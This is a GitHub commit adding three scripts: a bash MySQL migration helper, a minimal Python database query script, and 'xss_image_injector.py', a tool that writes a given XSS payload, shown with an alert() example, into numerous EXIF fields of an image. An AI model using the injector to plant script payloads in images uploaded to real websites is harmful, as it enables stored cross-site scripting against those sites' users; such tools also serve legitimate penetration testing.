Skip to content

Commit 0f85b42

Browse files
committed
First scritps
1 parent e45e443 commit 0f85b42

File tree

3 files changed

+138
-0
lines changed

3 files changed

+138
-0
lines changed

ddbb_fix_migration.sh

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
#!/bin/bash
2+
3+
confirm() {
4+
# call with a prompt string or use a default
5+
read -r -p "${1:-Are you sure? [y/N]} " response
6+
case "$response" in
7+
[yY][eE][sS]|[yY])
8+
true
9+
;;
10+
*)
11+
false
12+
;;
13+
esac
14+
}
15+
16+
host=10.10.10.10 # CHANGE THIS
17+
password=Password # CHANGE THIS
18+
port=3306 # CHANGE THIS
19+
20+
tables=(
21+
table1 # CHANGE THIS
22+
table2 # CHANGE THIS
23+
table3 # CHANGE THIS
24+
)
25+
26+
printf -- '\033[37m#################################################################################### \033[0m\n';
27+
printf -- '\033[37m################################# MIGRATION START ################################## \033[0m\n';
28+
printf -- '\033[37m#################################################################################### \033[0m\n';
29+
printf -- '\n';
30+
printf -- '\033[32m Downloading backup to ~/backups... \033[0m\n';
31+
printf -- '\n';
32+
# Download last backup over scp
33+
scp user@10.10.10.10://pat_to_mysl_backup/sql_backup*.sql.tar.gz ~/local_backup/ # CHANGE THIS
34+
printf -- '\033[32m Downloaded!!! \033[0m\n';
35+
printf -- '\n';
36+
37+
printf -- '\033[37m################################## DUMP TABLES ##################################### \033[0m\n';
38+
printf -- '\n';
39+
40+
for i in "${tables[@]}"; do
41+
printf -- '\033[32m Running sed in %s scheme and data... \033[0m\n' $i;
42+
#confirm
43+
## INDEX AUTO INCREMENT FIX -- REMOVE THIS
44+
pv *_scheme_$i.sql|sed -r 's/AUTO_INCREMENT=[0-9]+/AUTO_INCREMENT=1/g' > $i.scheme_increment.sql
45+
pv *_data_$i.sql|sed -e "s/([0-9]*,/(NULL,/gi" > $i.null_good.sql
46+
printf -- '\033[32m Loading %s scheme and data... \033[0m\n' $i;
47+
#confirm
48+
pv $i.scheme_increment.sql|mysql -u user --password=$password -h $host -P $port DDBB_NAME
49+
#confirm
50+
pv $i.null_good.sql|mysql -u user --password=$password -h $host -P $port DDBB_NAME
51+
printf -- '\033[32m %s loaded!!! \033[0m\n' $i;
52+
printf -- '\n';
53+
done
54+
55+
printf -- '\033[37m#################################################################################### \033[0m\n';
56+
printf -- '\033[37m################################# MIGRATION END #################################### \033[0m\n';
57+
printf -- '\033[37m#################################################################################### \033[0m\n';
58+
59+
exit

simple_db_connection.py

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
#!/usr/bin/python
2+
import MySQLdb
3+
import sys
4+
5+
if(len(sys.argv) < 4):
6+
print("Usage: %s HOST USER PASSWORD DBNAME\n" % sys.argv[0])
7+
print("Eg: %s 10.10.10.10 root toor database1" % sys.argv[0])
8+
exit()
9+
10+
db = MySQLdb.connect(host=sys.argv[1],
11+
user=sys.argv[2],
12+
passwd=sys.argv[3],
13+
db=sys.argv[4])
14+
15+
# you must create a Cursor object. It will let
16+
# you execute all the queries you need
17+
cur = db.cursor()
18+
19+
# Use all the SQL you like
20+
cur.execute("SELECT * FROM USERS")
21+
22+
# print all the first cell of all the rows
23+
for row in cur.fetchall():
24+
print row[0]
25+
26+
db.close()

xss_image_injector.py

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
#!/usr/bin/python
2+
import sys
3+
import subprocess
4+
5+
class bcolors:
6+
HEADER = '\033[95m'
7+
OKBLUE = '\033[94m'
8+
OKGREEN = '\033[92m'
9+
WARNING = '\033[93m'
10+
FAIL = '\033[91m'
11+
ENDC = '\033[0m'
12+
BOLD = '\033[1m'
13+
UNDERLINE = '\033[4m'
14+
15+
if(len(sys.argv) < 2):
16+
print("Usage: %s IMAGEPATH XSSCODE\n" % sys.argv[0])
17+
print("Eg: %s test.jpg '<script>alert(\"XSS\");</script>'" % sys.argv[0])
18+
exit()
19+
20+
exifs = [
21+
"ImageDescription",
22+
"Make",
23+
"Model",
24+
"Software",
25+
"Artist",
26+
"Copyright",
27+
"XPTitle",
28+
"XPComment",
29+
"XPAuthor",
30+
"XPSubject",
31+
"Location",
32+
"Description",
33+
"Author"
34+
]
35+
36+
if sys.argv[1] and sys.argv[2]:
37+
image = sys.argv[1]
38+
xss = sys.argv[2]
39+
40+
for exif in exifs:
41+
attribute = "-{0}={1}".format(exif, xss)
42+
try:
43+
subprocess.call(["exiftool", attribute, image])
44+
except:
45+
print bcolors.FAIL + "No exiftool installed or found" + bcolors.ENDC
46+
exit()
47+
try:
48+
subprocess.call(["exiftool", image])
49+
except:
50+
print "No exiftool installed or found"
51+
exit()
52+
else:
53+
print("No source image given")

0 commit comments

Comments
 (0)